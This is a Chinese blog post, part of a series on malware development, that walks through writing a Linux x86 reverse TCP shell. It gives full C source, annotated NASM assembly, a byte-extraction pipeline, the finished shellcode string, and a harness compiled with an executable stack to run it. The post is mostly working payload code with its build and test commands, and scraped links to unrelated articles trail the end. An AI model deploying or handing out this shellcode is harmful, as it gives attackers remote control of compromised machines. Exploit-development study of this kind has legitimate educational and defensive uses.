恶意软件开发(五)Linux shellcoding
什么是shellcode?
Shellcode通常指的是一段用于攻击的机器码(二进制代码),可以被注入到目标计算机中并在其中执行。Shellcode 的目的是利用目标系统的漏洞或弱点,以获取系统控制权或执行恶意操作。它的名称来自于它经常被注入到攻击者编写的恶意软件的 shell 环境中,以便让攻击者可以更轻松地与目标系统进行交互和控制。
Shellcode通常是用汇编语言编写的,因为它需要直接操作计算机硬件和内存,而汇编语言是最接近机器语言的高级语言。Shellcode 通常非常小,因为它需要在目标计算机的内存中占用尽可能少的空间,以避免被检测和拦截。Shellcode可以执行各种攻击,例如缓冲区溢出、代码注入、拒绝服务攻击等。为了防止 Shellcode 的攻击,许多操作系统和应用程序采用了各种防御机制,例如 DEP(数据执行保护)、ASLR(地址空间布局随机化)等。
shellcode测试代码
可以用下面的C代码对shellcode进行测试:
int main(int argc, char ** argv) {
char code[] = "shellcode"; // shellcode
int (*func)(); // 函数指针
func = (int(*)()) code; // 将函数指针指向shellcode
(int)(*func)(); // 执行shellcode
return 1;
}
C语言实现Reverse TCP Shell
C语言实现的Reverse TCP Shell分为以下几个步骤:
(1)创建套接字
(2)连接到指定ip:port
(3)通过dup2重定向stdin、stdout、stderr
(4)启动shell
代码如下:
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>
int main(void) {
// 攻击者IP
const char* ip = "127.0.0.1";
// 用于保存ip:port的结构体
struct sockaddr_in addr;
addr.sin_family = AF_INET; // ipv4
addr.sin_port = htons(4444); // 端口
inet_aton(ip, &addr.sin_addr); // 将字符串形式的ip转换为二进制形式并存储到addr.sin_addr
int sockfd = socket(AF_INET, SOCK_STREAM, 0); // 创建TCP套接字
connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)); // 连接到指定ip:port
// 将当前进程的标准输入、输出和错误输出(文件描述符 0、1、2)重定向到套接字描述符sockfd
for (int i = 0; i < 3; i ++) {
dup2(sockfd, i);
}
execve("/bin/bash", NULL, NULL);
return 0;
}
在kali上进行调试:
汇编实现Reverse TCP Shell
在使用汇编实现之前,先补充一点必要的汇编知识:
mov eax, 32 ; 将32复制给eax寄存器
xor eax, eax ; 对eax寄存器进行异或操作,相当于清零
push eax ; 将eax压入栈中
pop ebx ; 将栈顶的值赋值给ebx寄存器
call func ; 调用func函数
int 0x80 ; 中断
实现socket()
使用汇编实现Reverse TCP Shell,需要的步骤和C语言实现是一样的,这里直接对C语言进行改写。
首先需要调用0x66
(SYS_SOCKETCALL)才可以使用套接字,首先清空eax
寄存器:
push 0x66 ; 调用sys_socketcall
pop eax ; 将栈顶的值存放到eax,即eax=0x66
socketcall
调用的不同函数可以在/usr/include/linux/net.h
文件中找到:
点击查看代码
┌──(kali㉿kali)-[~]
└─$ cat /usr/include/linux/net.h
/* SPDX-License-Identifier: GPL-2.0+ WITH Linux-syscall-note */
/*
* NET An implementation of the SOCKET network access protocol.
* This is the master header file for the Linux NET layer,
* or, in plain English: the networking handling part of the
* kernel.
*
* Version: @(#)net.h 1.0.3 05/25/93
*
* Authors: Orest Zborowski, <obz@Kodak.COM>
* Ross Biro
* Fred N. van Kempen, <waltje@uWalt.NL.Mugnet.ORG>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version
* 2 of the License, or (at your option) any later version.
*/
#ifndef _LINUX_NET_H
#define _LINUX_NET_H
#include <linux/socket.h>
#include <asm/socket.h>
#define NPROTO AF_MAX
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
#define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */
#define SYS_GETPEERNAME 7 /* sys_getpeername(2) */
#define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */
#define SYS_SEND 9 /* sys_send(2) */
#define SYS_RECV 10 /* sys_recv(2) */
#define SYS_SENDTO 11 /* sys_sendto(2) */
#define SYS_RECVFROM 12 /* sys_recvfrom(2) */
#define SYS_SHUTDOWN 13 /* sys_shutdown(2) */
#define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */
#define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */
#define SYS_SENDMSG 16 /* sys_sendmsg(2) */
#define SYS_RECVMSG 17 /* sys_recvmsg(2) */
#define SYS_ACCEPT4 18 /* sys_accept4(2) */
#define SYS_RECVMMSG 19 /* sys_recvmmsg(2) */
#define SYS_SENDMMSG 20 /* sys_sendmmsg(2) */
typedef enum {
SS_FREE = 0, /* not allocated */
SS_UNCONNECTED, /* unconnected to any socket */
SS_CONNECTING, /* in process of connecting */
SS_CONNECTED, /* connected to socket */
SS_DISCONNECTING /* in process of disconnecting */
} socket_state;
#define __SO_ACCEPTCON (1 << 16) /* performed a listen */
#endif /* _LINUX_NET_H */
这里使用的是SYS_SOCKET(0x1)
,将0x1
放入ebx
寄存器:
push 0x1 ; sys_socket
pop ebx ; 将0x1保存到ebx
可以看到在C语言中调用socket()
时需要三个参数,socket_family
、socket_type
、protocol
,这三个参数分别在/usr/include/bits/socket.h
、/usr/include/bits/socket_type.h
、/usr/include/linux/in.h
文件中(如果没有bits
文件夹,可以通过sudo apt-get install gcc-multilib g++-multilib
命令进行修复)。
/usr/include/bits/socket.h
:
/usr/include/bits/socket_type.h
:
/usr/include/linux/in.h
:
基于此,对照C语言代码int sockfd = socket(AF_INET, SOCK_STREAM, 0);
,我们将这三个参数分别压入堆栈:
xor edx, edx ; 将edx清零
;int socket(int domain, int type, int protocol);
push edx ; protocol = IPPROTO_IP (0x0)
push ebx ; socket_type = SOCK_STREAM (0x1)
push 0x2 ; socket_family = AF_INET (0x2)
由于ecx
需要指向这个结构体,所以将esp
当前值赋值给ecx
mov ecx, esp ;将ecx指向栈顶
最后,调用syscall
,它会检查eax
中的值,通知内核程序想要进行的系统调用,调用完成后会将结果存储在eax
中:
int 0x80 ; syscall (exec sys_socket)
将eax
中的结果保存到edx中
xchg edx, eax ; 保存sockfd结果
实现connect()
接着实现connect(),连接到指定的IP和端口,再次使用socketcall
;int socketcall(int call, unsigned long *args);
mov al, 0x66 ; socketcall 102
对照C语言代码,此时需要使用connect
,connect
函数有三个参数int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
,其中sockaddr
结构如下:
struct sockaddr_in {
__kernel_sa_family_t sin_family; /* Address family */
__be16 sin_port; /* Port number */
struct in_addr sin_addr; /* Internet address */
};
将sockaddr
结构所需的参数保存下来:
push 0x0101017f ; sin_addr = 127.1.1.1 (network byte order)
push word 0x5c11 ; sin_port = 4444
因为在socket()
调用时处理了socket_type
,此时ebx
中的值为0x1
,而这里传参为SOCK_STREAM
,所以ebx
直接自增为0x2
即可。
inc ebx ; ebx = 0x02
push word bx ; sin_family = AF_INET
然后将指向sockaddr
结构体的堆栈指针保存到ecx
寄存器:
mov ecx, esp ;将指向sockaddr结构体的堆栈指针保存下来
后续的操作为:
push 0x10 ; addrlen = 16
push ecx ; const struct sockaddr * addr
push edx ; sockfd
mov ecx, esp ; 将堆栈指针保存到ecx
inc ebx ; sys_connect (0x3)
int 0x80 ; syscall (exec sys_connect)
实现通过dup2的重定向stdin、stdout、stderr
对应C语言中:
for (int i = 0; i < 3; i ++) {
dup2(sockfd, i);
}
首先,设置ecx
计数器用于循环
push 0x2 ;设置循环次数
pop ecx ;将循环次数保存到ecx
现在只需要将socket文件描述符保存到ebx
:
xchg ebx, edx
接着编写循环内的代码:
dup:
mov al, 0x3f ; sys_dup2 = 63 = 0x3f
int 0x80 ; syscall (exec sys_dup2)
dec ecx ; 减少次数
jns dup ; SF标志位为0跳转到dup
实现execve启动shell
; int execve(const char *filename, char *const argv[],char *const envp[]);
mov al, 0x0b ; syscall: sys_execve = 11 (mov eax, 11)
inc ecx ; argv=0
mov edx, ecx ; envp=0
push edx ; terminating NULL
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
mov ebx, esp ; save pointer to filename
int 0x80 ; syscall: exec sys_execve
完整代码
section .bss
section .text
global _start ;申明函数的起始地址
_start: ; linker entry point
; 创建socket
; int socketcall(int call, unsigned long *args);
push 0x66 ; sys_socketcall 102
pop eax ; 将0x66保存到eax
push 0x1 ; sys_socket 0x1
pop ebx ; 将0x1保存到ebx
xor edx, edx ; edx清零
; int socket(int domain, int type, int protocol);
push edx ; protocol = IPPROTO_IP (0x0)
push ebx ; socket_type = SOCK_STREAM (0x1)
push 0x2 ; socket_family = AF_INET (0x2)
mov ecx, esp ; 将堆栈指针保存到ecx
int 0x80 ; syscall (exec sys_socket)
xchg edx, eax ; 保存sockfd的结果
; int socketcall(int call, unsigned long *args);
mov al, 0x66 ; socketcall 102
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
push 0x0101017f ; sin_addr = 127.1.1.1 (network byte order)
push word 0x5c11 ; sin_port = 4444
inc ebx ; ebx = 0x02
push word bx ; sin_family = AF_INET
mov ecx, esp ; 保存sockaddr堆栈指针
push 0x10 ; addrlen = 16
push ecx ; const struct sockaddr *addr
push edx ; sockfd
mov ecx, esp ; 在ecx中保存sockaddr_in指针
inc ebx ; sys_connect (0x3)
int 0x80 ; syscall (exec sys_connect)
; 实现dup2(sockfd, i);循环
push 0x2 ; 设置循环次数
pop ecx ; 将循环次数保存到ecx
xchg ebx, edx ; 保存sockfd结果
dup:
mov al, 0x3f ; sys_dup2 = 63 = 0x3f
int 0x80 ; syscall (exec sys_dup2)
dec ecx ; 减少循环次数
jns dup ; SF标志位为0跳转到dup
; spawn /bin/sh using execve
; int execve(const char *filename, char *const argv[],char *const envp[]);
mov al, 0x0b ; syscall: sys_execve = 11 (mov eax, 11)
inc ecx ; argv=0
mov edx, ecx ; envp=0
push edx ; terminating NULL
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
mov ebx, esp ; 保存栈顶地址
int 0x80 ; syscall: exec sys_execve
测试汇编代码
┌──(kali㉿kali)-[~]
└─$ nasm -f elf32 -o rev.o rev.asm // 将rev.asm编译成目标文件rev.o
┌──(kali㉿kali)-[~]
└─$ ld -m elf_i386 -o rev rev.o // 将目标文件rev.o链接橙可执行文件rev
在本机监听444端口:
接着提取字节码:
objdump -d ./rev|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
shellcode为:
\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
然后将shellcode带入开头所说的用于shellcode测试的C代码中:
int main(int argc, char ** argv) {
char code[] = "\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
int (*func)();
func = (int(*)()) code;
(int)(*func)();
return 1;
}
编译C语言代码并运行:
gcc -z execstack -m32 -o testshellcode testshellcode.c
恶意软件开发(五)Linux shellcoding的更多相关文章
- STC8H开发(五): SPI驱动nRF24L01无线模块
目录 STC8H开发(一): 在Keil5中配置和使用FwLib_STC8封装库(图文详解) STC8H开发(二): 在Linux VSCode中配置和使用FwLib_STC8封装库(图文详解) ST ...
- 在开发板Linux上挂载"驱动"挂载不成功,出现提示server 172.27.52.100 not responding, still trying
1.在开发板具体操作步骤如下: 1.1 :设置IP ifconfig eth0 172.27.52.200 1.2 :ping通 虚拟机Linux 主机Linux ping XXX.XXX.X ...
- SecureCRT访问开发板linux系统
前言: 最近在用OK6410开发板跑linux系统,经常在终端上敲一些指令,无奈开发板屏幕太小用起来非常不方便,所以使用终端一款能运行在windows上的软件与开发板连接,直接在电脑上操作开发板了,这 ...
- [分享] IMX6嵌入式开发板linux QT挂载U盘及TF卡
本文转自迅为开发板:http://www.topeetboard.com 开发平台:iMX6开发板 linux QT 系统下挂载 u 盘如下图所示,qt 启动之后,在超级终端中使用命令“mknod / ...
- 从零开始实现ASP.NET Core MVC的插件式开发(五) - 插件的删除和升级
标题:从零开始实现ASP.NET Core MVC的插件式开发(五) - 使用AssemblyLoadContext实现插件的升级和删除 作者:Lamond Lu 地址:https://www.cnb ...
- [ASP.NET Core 3框架揭秘] 跨平台开发体验: Linux
如果想体验Linux环境下开发.NET Core应用,我们有多种选择.一种就是在一台物理机上安装原生的Linux,我们可以根据自身的喜好选择某种Linux Distribution,目前来说像RHEL ...
- 【ARM-Linux开发】Linux下更改目录下所有文件的所有者及其权限
[ARM-Linux开发]Linux下更改目录下所有文件的所有者及其权限 chown 更换所有者: chmod 改变权限: 想一次修改某个目录下所有文件的权限,包括子目录中的文件权限也要修改,要使用参 ...
- 【Linux开发】【DSP开发】Linux设备驱动之——PCI 总线
PCI总线概述 随着通用处理器和嵌入式技术的迅猛发展,越来越多的电子设备需要由处理器控制.目前大多数CPU和外部设备都会提供PCI总线的接口,PCI总线已成为计算机系统中一种应用广泛.通用的总线标准 ...
- 【Linux开发】linux设备驱动归纳总结(五):1.在内核空间分配内存
linux设备驱动归纳总结(五):1.在内核空间分配内存 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ...
- 【Linux开发】linux设备驱动归纳总结(五):2.操作硬件——IO内存
linux设备驱动归纳总结(五):2.操作硬件--IO内存 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ...
随机推荐
- LLM研究之-NVIDIA的CUDA
一.什么是NVIDIA的CUDA CUDA(Compute Unified Device Architecture)是由NVIDIA公司开发的一个并行计算平台和应用程序编程接口(API),它允许软件开 ...
- CentOS7 卸载/home 扩大/root空间
卸载home 备份home分区文件 # 新系统无视 tar cvf /tmp/home.tar /home 修改fstab(这一步非常重要,千万别漏了) 准备卸载/home文件系统,centos启动时 ...
- 一键跳转组件所在的文件与具体行数,提升排查效率,分享几个 React Developer Tools 使用小技巧
壹 ❀ 引 React Developer Tools对于很多开发同学可能就是一个检查组件props传递对不对的工具,但事实上它的功能比我们想象的强大.比如我们日常排查问题,常常会遇到想知道某个页面某 ...
- 2022年3月核心库MySQL优化总结
2021年9月底到新公司,公司核心数据库,以前无专业DBA维护,问题多,隐患大,到2022年2月持续后,优化至今: 优化大项: 1,从1主3从,扩容到1主5从,将部分读放都另外新加从库 2,最大表 ...
- RedHat5 安装中文输入法
为了学习linux命令,虚拟机里搞了个RedHat 5.4 .下面是安装中文输入法过程: 1.下载并安装小企鹅输入法 fcitx-3.0.0-1.i386.rpm 2.安装后执行以下命令: # cd ...
- git tag 常用操作-创建、查看、推送、删除等
创建tag 1.创建tag: git tag -a v0.0.1 或者 对某一提交的信息打tag标签,末尾是一个commit id git tag -a v0.0.1 cc16905 2.创建tag带 ...
- 循环掌控:深入理解C语言循环结构,高效实现重复性任务
欢迎大家来到贝蒂大讲堂 养成好习惯,先赞后看哦~ 所属专栏:C语言学习 贝蒂的主页:Betty's blog 引言 前面贝蒂带大家了解了选择结构,今天就来为大家介绍循环结构,也就是我们熟悉的while ...
- Aop @AfterReturning因返回类型不一致导致无法执行切面代码
要做返回异常之后,所有操作回滚的操作,本来想着泛型用 Object 就表示所有返回类型是 CommonResult 并且加指定注解的都走这个通知的代码,但是如下配置,无论如何也不生效 进入源码里发现, ...
- centos docker服务问题
概述 docker的应用版本正式上线,结果一上线就出各种幺蛾子. 本文档主要介绍centos系统安装docker和启动的问题解决方法. 环境 docker registry:2 centos 6 &a ...
- Html飞机大战(十): 消灭敌机
好家伙,本篇是带着遗憾写完的. 很遗憾,我找了很久,找到了bug但并没有成功修复bug 再上一篇中我们看到 子弹射中了敌机,但是敌机并没有消失,所以这篇我们要来完善这个功能 按照惯例我们来捋一下思路: ...